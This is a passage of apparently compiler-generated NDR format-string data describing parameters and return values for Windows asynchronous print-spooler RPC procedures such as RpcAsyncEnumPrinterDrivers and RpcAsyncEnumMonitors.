*/\tNdrFcShort( 0x95a ),\t/* Type Offset=2394 */\n\n\t/* Parameter dwFileCopyFlags */\n\n/* 2532 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2534 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2536 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2538 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2540 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2542 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrinterDrivers */\n\n/* 2544 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2546 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2550 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2552 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 2554 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2556 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2558 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2560 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2562 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 2564 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2566 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2568 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2570 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2572 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2574 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2576 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2578 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2580 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2582 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2584 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2586 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2588 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2590 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDrivers */\n\n/* 2592 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2594 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2596 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 2598 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2600 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2602 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2604 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2606 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2608 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2610 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2612 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2614 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2616 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2618 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2620 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinterDriverDirectory */\n\n/* 2622 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2624 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2628 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 2630 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2632 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2634 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2636 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2638 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2640 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2642 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2644 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2646 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2648 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2650 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2652 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2654 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2656 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2658 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2660 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2662 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2664 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2666 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2668 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDriverDirectory */\n\n/* 2670 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2672 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2674 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 2676 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2678 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2682 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2684 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2686 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2688 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2690 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2692 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterDriver */\n\n/* 2694 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2696 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2700 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 2702 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2704 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2706 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2708 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2710 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2712 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2714 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2716 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2720 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2722 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2724 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2726 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2728 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2730 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2732 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2734 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pDriverName */\n\n/* 2736 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2738 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2740 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 2742 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2744 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2746 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterDriverEx */\n\n/* 2748 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2750 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2754 */\tNdrFcShort( 0x2b ),\t/* 43 */\n/* 2756 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2758 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2760 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2762 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2764 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2766 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 2768 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2770 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2772 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2774 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2776 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2778 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2780 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2782 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2784 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2786 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2788 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pDriverName */\n\n/* 2790 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2792 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2794 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter dwDeleteFlag */\n\n/* 2796 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2798 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2800 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwVersionNum */\n\n/* 2802 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2804 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2806 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2808 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2810 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2812 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddPrintProcessor */\n\n/* 2814 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2816 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2820 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 2822 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2824 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2826 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2828 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2830 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2832 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2834 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2836 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2838 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2840 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2842 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2844 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2846 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2848 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2850 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2852 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2854 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pPathName */\n\n/* 2856 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2858 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2860 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 2862 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2864 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2866 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 2868 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2870 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2872 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrintProcessors */\n\n/* 2874 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2876 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2880 */\tNdrFcShort( 0x2d ),\t/* 45 */\n/* 2882 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 2884 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2886 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2888 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2890 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2892 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 2894 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2896 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2898 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2900 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2902 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2904 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2906 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2908 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2910 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2912 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2914 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2916 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2918 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2920 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrintProcessorInfo */\n\n/* 2922 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2924 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2926 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 2928 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2930 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2932 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2934 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2936 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2938 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2940 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2942 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2944 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2946 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2948 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2950 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrintProcessorDirectory */\n\n/* 2952 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2954 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2958 */\tNdrFcShort( 0x2e ),\t/* 46 */\n/* 2960 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2962 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2964 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2966 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2968 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2970 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2972 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2974 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2976 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2980 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2982 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2984 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2986 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2988 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2990 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2992 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2994 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2996 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2998 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrintProcessorDirectory */\n\n/* 3000 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3002 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3004 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 3006 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3008 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3010 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3012 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3014 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3016 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3018 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3020 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3022 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPorts */\n\n/* 3024 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3026 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3030 */\tNdrFcShort( 0x2f ),\t/* 47 */\n/* 3032 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3034 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3036 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3038 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3040 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3042 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3044 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3046 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3048 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3050 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3052 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3054 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3056 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3058 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3060 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3062 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3064 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPort */\n\n/* 3066 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3068 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3070 */\tNdrFcShort( 0x45c ),\t/* Type Offset=1116 */\n\n\t/* Parameter cbBuf */\n\n/* 3072 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3074 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3076 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3078 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3080 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3082 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 3084 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3086 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3088 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3090 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3092 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3094 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumMonitors */\n\n/* 3096 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3098 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3102 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 3104 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3106 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3108 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3110 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3112 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3114 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3116 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3118 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3120 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3122 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3124 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3126 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3128 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3130 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3132 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3134 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3136 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pMonitor */\n\n/* 3138 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3140 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3142 */\tNdrFcShort( 0x45c ),\t/* Type Offset=1116 */\n\n\t/* Parameter cbBuf */\n\n/* 3144 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3146 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3148 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3150 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3152 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3154 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter 